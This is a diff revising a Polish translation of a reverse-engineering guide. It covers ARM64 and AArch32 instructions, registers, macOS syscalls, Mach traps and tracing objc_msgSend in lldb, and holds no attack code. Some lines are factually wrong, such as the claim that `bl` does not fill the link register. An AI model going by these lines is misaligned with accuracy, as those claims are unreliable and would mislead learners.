-- **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity
-- **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity
+- **`SXTH X1, W2`** Rozszerza znak 16-bitowej liczby **z W2 do X1** aby wypełnić 64 bity
+- **`SXTW X1, W2`** Rozszerza znak **z W2 do X1** aby wypełnić 64 bity
 - **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity
-- **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**.
-- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i uzyska **od bitu 3 W2 do bitu 3 W1** i przechowa to w W3.
-- **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. To jest **alias `subs`** ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy `m == n`.
+- **`extr`:** Wyciąga bity z określonej **pary rejestrów połączonych razem**.
+- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i pobierze **od bitu 3 W2 do bitu 3 W1** i zapisze w W3.
+- **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. Jest to **alias `subs`** ustawiający rejestr docelowy na rejestr zero. Przydatne, aby sprawdzić czy `m == n`.
 - Obsługuje **tę samą składnię co `subs`**
-- Przykład: `cmp x0, x1` — To porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio.
-- **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
-- **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv.
+- Przykład: `cmp x0, x1` — Porównuje wartości w `x0` i `x1` i ustawia odpowiednio flagi warunkowe.
+- **`cmn`**: **Porównanie z negatywem** operandu. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne, aby sprawdzić czy `m == -n`.
+- **`ccmp`**: Warunkowe porównanie, to porównanie które zostanie wykonane tylko jeśli poprzednie porównanie było prawdziwe i specyficznie ustawi bity nzcv.
 - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func
-- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`).
-- Może być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` w porównaniu do `cmn`).
-- **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1.
-- Przykład: `tst X1, #7` Sprawdza, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1
-- **`teq`**: Operacja XOR, ignorując wynik
-- **`b`**: Bezwarunkowy skok
+- To dlatego, że **`ccmp`** zostanie wykonane tylko jeśli **poprzedni `cmp` był `NE`**, jeśli nie był to bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`).
+- To może też być użyte jako `ccmn` (to samo ale negatywne, jak `cmp` vs `cmn`).
+- **`tst`**: Sprawdza czy dowolne z wartości porównania mają oba bity ustawione na 1 (działa jak ANDS bez zapisywania wyniku). Przydatne do sprawdzenia rejestru pod kątem pewnych bitów.
+- Przykład: `tst X1, #7` Sprawdza czy dowolny z ostatnich 3 bitów X1 jest 1
+- **`teq`**: Operacja XOR odrzucająca wynik
+- **`b`**: Bezwarunkowy Branch
 - Przykład: `b myFunction`
-- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
-- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotny w `x30`**.
-- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotny w `x30`.
-- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
-- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotny w `x30`. (To jest
-- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotny w `x30`.
-- **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**.
-- Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotnego w `x30`.
-- **`b.<cond>`**: Skoki warunkowe
-- **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`.
-- Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
-- **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
-- Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`.
-- **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.
-- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`.
-- **`cbnz`**: **Porównaj i skocz, jeśli nie zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli nie są równe, skacze do etykiety lub adresu.
-- Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest różna od zera, to skacze do `label`.
-- **`tbnz`**: Testuj bit i skocz, jeśli niezerowy
+- Zauważ, że to nie zapisze adresu powrotu w link register (nie nadaje się do wywołań podprogramów, które muszą wrócić)
+- **`bl`**: **Branch** z linkiem, używane do **wywołania** **podprogramu**. Zapisuje **adres powrotu w `x30`**.
+- Przykład: `bl myFunction` — Wywołuje funkcję `myFunction` i zapisuje adres powrotu w `x30`.
+- Uwaga: to nie wypełni link register adresem powrotu (nieodpowiednie dla podprogramów wymagających powrotu) [uwaga: oryginalny tekst zawierał sprzeczne powtórzenie — zachowano sens].
+- **`blr`**: **Branch** z linkiem do rejestru, używane do **wywołania** podprogramu, gdzie cel jest **określony** w **rejestrze**. Zapisuje adres powrotu w `x30`.
+- Przykład: `blr x1` — Wywołuje funkcję, której adres jest w `x1` i zapisuje adres powrotu w `x30`.
+- **`ret`**: **Powrót** z podprogramu, zazwyczaj używając adresu w **`x30`**.
+- Przykład: `ret` — Powrót z bieżącego podprogramu używając adresu powrotu w `x30`.
+- **`b.<cond>`**: Warunkowe skoki
+- **`b.eq`**: **Skocz jeśli równe**, na podstawie poprzedniej instrukcji `cmp`.
+- Przykład: `b.eq label` — Jeśli poprzednie `cmp` stwierdziło równość, skocz do `label`.
+- **`b.ne`**: **Skocz jeśli nierówne**. Instrukcja sprawdza flagi warunkowe (ustawione przez poprzednie porównanie) i jeśli wartości nie były równe, wykonuje skok.
+- Przykład: Po `cmp x0, x1` instrukcja `b.ne label` — Jeśli wartości w `x0` i `x1` były różne, skocz do `label`.
+- **`cbz`**: **Compare and Branch on Zero**. Instrukcja porównuje rejestr z zerem, i jeśli są równe, wykonuje skok.
+- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, skocz do `label`.
+- **`cbnz`**: **Compare and Branch on Non-Zero**. Instrukcja porównuje rejestr z zerem, i jeśli są różne, wykonuje skok.
+- Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest różna od zera, skocz do `label`.
+- **`tbnz`**: Test bitu i skok jeśli niezerowy
 - Przykład: `tbnz x0, #8, label`
-- **`tbz`**: Testuj bit i skocz, jeśli zero
+- **`tbz`**: Test bitu i skok jeśli zerowy
 - Przykład: `tbz x0, #8, label`
-- **Operacje wyboru warunkowego**: To są operacje, których zachowanie zmienia się w zależności od bitów warunkowych.
+- **Operacje wyboru warunkowego**: To operacje, których zachowanie zależy od bitów warunkowych.
 - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2
 - `csinc Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1
 - `cinc Xd, Xn, cond` -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn
@@ -207,51 +210,51 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
 - `csneg Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = - Xm
 - `cneg Xd, Xn, cond` -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn
 - `cset Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0
-- `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \<wszystkie 1>, jeśli fałsz, Xd = 0
-- **`adrp`**: Oblicz **adres strony symbolu** i przechowaj go w rejestrze.
-- Przykład: `adrp x0, symbol` — To oblicza adres strony symbolu i przechowuje go w `x0`.
-- **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów.
-- Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
-- **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając offsetu z innego rejestru.
-- Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`.
-- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**.
+- `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \<all 1>, jeśli fałsz, Xd = 0
+- **`adrp`**: Oblicza **adres strony symbolu** i zapisuje go w rejestrze.
+- Przykład: `adrp x0, symbol` — Oblicza adres strony symbolu `symbol` i zapisuje go w `x0`.
+- **`ldrsw`**: **Załaduj** 32-bitową liczbę ze znakiem z pamięci i **rozszerz ją znakiem do 64** bitów.
+- Przykład: `ldrsw x0, [x1]` — Ładuje 32-bitową liczbę ze znakiem z adresu w `x1`, rozszerza do 64-bitów i zapisuje w `x0`.
+- **`stur`**: **Zapisz wartość rejestru do pamięci**, używając offsetu od innego rejestru.
+- Przykład: `stur x0, [x1, #4]` — Zapisuje wartość z `x0` do adresu pamięci będącego o 4 bajty większym niż adres w `x1`.
+- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Supervisor Call". Gdy procesor wykona tę instrukcję, **przełącza się z trybu użytkownika do trybu jądra** i skacze do określonego miejsca w pamięci, gdzie znajduje się kod obsługi wywołań systemowych jądra.
 
 - Przykład:
 
 ```armasm
-mov x8, 93  ; Załaduj numer wywołania systemowego dla zakończenia (93) do rejestru x8.
-mov x0, 0   ; Załaduj kod statusu zakończenia (0) do rejestru x0.
-svc 0       ; Wykonaj wywołanie systemowe.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
+mov x0, 0   ; Load the exit status code (0) into register x0.
+svc 0       ; Make the system call.
 ```
 
-### **Prolog Funkcji**
+### **Prolog funkcji**
 
-1. **Zapisz rejestr łączenia i wskaźnik ramki na stosie**:
+1. **Zapisz link register i frame pointer na stosie**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji)  
-3. **Przydziel miejsce na stosie dla zmiennych lokalnych** (jeśli to konieczne): `sub sp, sp, <size>` (gdzie `<size>` to liczba bajtów potrzebnych)  
+2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji)
+3. **Zarezerwuj miejsce na stosie dla zmiennych lokalnych** (jeśli potrzebne): `sub sp, sp, <size>` (gdzie `<size>` to liczba potrzebnych bajtów)
 
 ### **Epilog funkcji**
 
-1. **Zwolnij zmienne lokalne (jeśli jakieś zostały przydzielone)**: `add sp, sp, <size>`  
-2. **Przywróć rejestr linki i wskaźnik ramki**:
+1. **Zwolnij miejsce dla zmiennych lokalnych (jeśli zostały zarezerwowane)**: `add sp, sp, <size>`
+2. **Przywróć rejestr linku i wskaźnik ramki**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
-3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linku)
+3. **Powrót**: `ret` (zwraca kontrolę wywołującemu, używając adresu w rejestrze powrotu)
 
-## Stan Wykonania AARCH32
+## AARCH32 Stan wykonywania
 
-Armv8-A wspiera wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\
-**Privileged** programy 64-bitowe mogą planować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\
-Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR**.**
+Armv8-A wspiera wykonywanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi poprzez **`interworking`**.\
+**Privileged** 64-bitowe programy mogą zaplanować **wykonywanie programów 32-bitowych** przez wykonanie transferu poziomu wyjątków do niżej uprzywilejowanego środowiska 32-bitowego.\
+Zauważ, że przejście z 64-bit do 32-bit następuje przy niższym poziomie wyjątków (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Odbywa się to przez ustawienie **bitu 4 w** specjalnym rejestrze **`SPSR_ELx``** **na 1** kiedy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje CPSR programu **`AArch32`**. Następnie uprzywilejowany proces wywołuje instrukcję **`ERET`**, dzięki czemu procesor przechodzi do **`AArch32`** wchodząc w A32 lub T32 w zależności od CPSR**.**
 
-**`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
-Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
+The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\
+This is set during the **interworking branch instructions,** but can also be set directly with other instructions when the PC is set as the destination register. Example:
 
-Inny przykład:
+Another example:
 ```armasm
 _start:
 .code 32                ; Begin using A32
@@ -264,60 +267,60 @@ mov r0, #8
 ```
 ### Rejestry
 
-Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **dowolnej operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane:
+Istnieje 16 32-bitowych rejestrów (r0-r15). **Od r0 do r14** mogą być używane do **dowolnych operacji**, jednak niektóre z nich są zwykle zarezerwowane:
 
-- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 obecny + 8, w T32, obecny + 4.
-- **`r11`**: Wskaźnik ramki
-- **`r12`**: Rejestr wywołań wewnątrzproceduralnych
-- **`r13`**: Wskaźnik stosu
-- **`r14`**: Rejestr łączenia
+- **`r15`**: Program counter (zawsze). Zawiera adres następnej instrukcji. W A32 current + 8, w T32 current + 4.
+- **`r11`**: Frame Pointer
+- **`r12`**: Intra-procedural call register
+- **`r13`**: Stack Pointer (Uwaga: stos jest zawsze wyrównany do 16 bajtów)
+- **`r14`**: Link Register
 
-Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, co pozwala na **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\
-Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
+Co więcej, rejestry są zapisywane w **`banked registries`**. Są to miejsca przechowujące wartości rejestrów umożliwiające **szybkie przełączanie kontekstu** podczas obsługi wyjątków i operacji uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\
+Odbywa się to przez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego nastąpił wyjątek. Przy powrocie z wyjątku **`CPSR`** jest przywracany z **`SPSR`**.
 
-### CPSR - Rejestr Statusu Programu
+### CPSR - Current Program Status Register
 
-W AArch32 CPSR działa podobnie do **`PSTATE`** w AArch64 i jest również przechowywany w **`SPSR_ELx`**, gdy wyjątek jest zgłaszany, aby później przywrócić wykonanie:
+W AArch32 CPSR działa podobnie do **`PSTATE`** w AArch64 i jest również zapisywany w **`SPSR_ELx`** gdy wystąpi wyjątek, aby później przywrócić wykonanie:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
 Pola są podzielone na kilka grup:
 
-- Rejestr Statusu Programu Aplikacji (APSR): Flagi arytmetyczne i dostępne z EL0
-- Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).
+- Application Program Status Register (APSR): Flagi arytmetyczne i dostępne z poziomu EL0
+- Execution State Registers: Zachowanie procesu (zarządzane przez OS).
 
-#### Rejestr Statusu Programu Aplikacji (APSR)
+#### Application Program Status Register (APSR)
 
 - Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
-- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej z nasyceniem. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób niejawny, musi to być zrobione przez odczytanie jej ręcznie.
-- Flagi **`GE`** (Większe lub równe): Używane w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.
+- Flaga **`Q`**: Ustawiana na 1 zawsze, gdy podczas wykonania wystąpi **saturacja całkowitoliczbowa** w trakcie wykonywania specjalizowanej instrukcji arytmetycznej ze saturacją. Gdy zostanie ustawiona na **`1`**, zachowa tę wartość aż do ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdza jej wartość w sposób implicytny — trzeba ją odczytać ręcznie.
+- Flagi **`GE`** (Greater than or equal): Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak „parallel add” i „parallel subtract”. Te operacje pozwalają przetwarzać wiele punktów danych w ramach jednej instrukcji.
 
-Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**.
+Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i zapisuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** w oparciu o te wyniki. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło**.
 
-Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działań.
+Instrukcja **`SEL`** używa tych flag GE do wykonywania warunkowych operacji.
 
-#### Rejestry Stanu Wykonania
+#### Execution State Registers
 
-- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32.
-- Rejestr Stanu Bloku IT (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**.
-- Bit **`E`**: Wskazuje na **endianness**.
-- Bity Mody i Maski Wyjątków (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek zostanie wywołany podczas jego obsługi.
+- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0 używany jest zestaw instrukcji A32, a jeśli jest 1, używany jest T32.
+- Rejestr stanu bloku IT (`ITSTATE`): To bity z zakresu 10-15 i 25-26. Przechowują warunki dla instrukcji wewnątrz grupy poprzedzonej prefiksem **`IT`**.
+- Bit **`E`**: Wskazuje **endianness**.
+- Bity trybu i maski wyjątków (0-4): Określają aktualny stan wykonania. Piąty z nich wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują aktualnie używany tryb wyjątków (gdy wystąpi wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje bieżący priorytet** w przypadku, gdy podczas obsługi tego wyjątku wystąpi inny wyjątek.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że **asynchroniczne przerwania** będą wywoływane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z **szybkimi żądaniami przerwań** (FIR).
+- **`AIF`**: Niektóre wyjątki można wyłączyć za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że będą wywoływane **asynchronous aborts**. **`I`** konfiguruje reagowanie na zewnętrzne żądania przerwań sprzętowych (Interrupt Requests, IRQs). `F` odnosi się do **Fast Interrupt Requests** (FIRs).
 
 ## macOS
 
-### Wywołania systemowe BSD
+### BSD syscalls
 
-Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Wywołania systemowe BSD będą miały **x16 > 0**.
+Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) lub uruchom `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls będą miały **x16 > 0**.
 
-### Pułapki Mach
+### Mach Traps
 
-Sprawdź w [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) tabelę `mach_trap_table` oraz w [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, więc musisz wywołać numery z poprzedniej listy z **minusem**: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
+Zobacz w [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) tabelę `mach_trap_table` oraz w [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypy. Maksymalna liczba Mach traps to `MACH_TRAP_TABLE_COUNT` = 128. Mach traps będą miały **x16 < 0**, więc trzeba wywoływać numery z poprzedniej listy ze znakiem minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
 
-Możesz również sprawdzić **`libsystem_kernel.dylib`** w dezasemblatorze, aby znaleźć, jak wywołać te (i BSD) wywołania systemowe:
+Możesz też sprawdzić **`libsystem_kernel.dylib`** w disassemblerze, aby znaleźć, jak wywoływać te (i BSD) syscalls:
 ```bash
 # macOS
 dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Zauważ, że **Ida** i **Ghidra** mogą również dekompilować **specyficzne dyliby** z pamięci podręcznej, po prostu przekazując pamięć podręczną.
+Zauważ, że **Ida** i **Ghidra** mogą również zdekompilować **specific dylibs** z cache, po prostu podając cache.
 
 > [!TIP]
-> Czasami łatwiej jest sprawdzić **dekompilowany** kod z **`libsystem_kernel.dylib`** **niż** sprawdzać **kod źródłowy**, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib można znaleźć, co jest wywoływane.
+> Czasami łatwiej jest sprawdzić **zdekompilowany** kod z **`libsystem_kernel.dylib`** niż sprawdzać **kod źródłowy**, ponieważ kod kilku syscalli (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib możesz znaleźć, co jest wywoływane.
 
-### wywołania machdep
+### machdep calls
 
-XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczby tych wywołań zależą od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe.
+XNU obsługuje inny typ wywołań zwanych machine dependent. Numery tych wywołań zależą od architektury i ani wywołania, ani ich numery nie są gwarantowane jako stałe.
 
-### strona comm
+### comm page
 
-To jest strona pamięci właściciela jądra, która jest mapowana w przestrzeni adresowej każdego procesu użytkownika. Ma na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu do używania wywołań systemowych dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.
+To jest strona pamięci należąca do kernela, która jest mapowana w przestrzeni adresowej każdego procesu użytkownika. Ma to na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu z używaniem syscalli dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.
 
-Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio z strony comm.
+Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio z comm page.
 
 ### objc_msgSend
 
-Bardzo często można znaleźć tę funkcję używaną w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C.
+Bardzo często funkcję tę można znaleźć w programach Objective-C lub Swift. Funkcja ta pozwala wywołać metodę obiektu Objective-C.
 
-Parametry ([więcej informacji w dokumentacji](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
+Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
 - x0: self -> Wskaźnik do instancji
 - x1: op -> Selektor metody
-- x2... -> Reszta argumentów wywoływanej metody
+- x2... -> Pozostałe argumenty wywoływanej metody
 
-Więc, jeśli ustawisz punkt przerwania przed gałęzią do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
+Jeśli ustawisz breakpoint przed skokiem do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,27 +372,27 @@ whoami
 )
 ```
 > [!TIP]
-> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`.
+> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`** można użyć **log**, aby zapisać, kiedy ta funkcja jest wywoływana, do pliku takiego jak `/tmp/msgSends-pid`.
 >
-> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny plik, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C.
+> Ponadto, ustawiając **`OBJC_HELP=1`** i uruchamiając dowolny binarny plik, możesz zobaczyć inne zmienne środowiskowe, których można użyć do **log**, aby rejestrować występowanie określonych akcji Objc-C.
 
-Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania:
+Gdy ta funkcja jest wywoływana, trzeba znaleźć wywoływaną metodę wskazanego egzemplarza; w tym celu wykonywane są różne wyszukiwania:
 
-- Wykonaj optymistyczne wyszukiwanie w pamięci podręcznej:
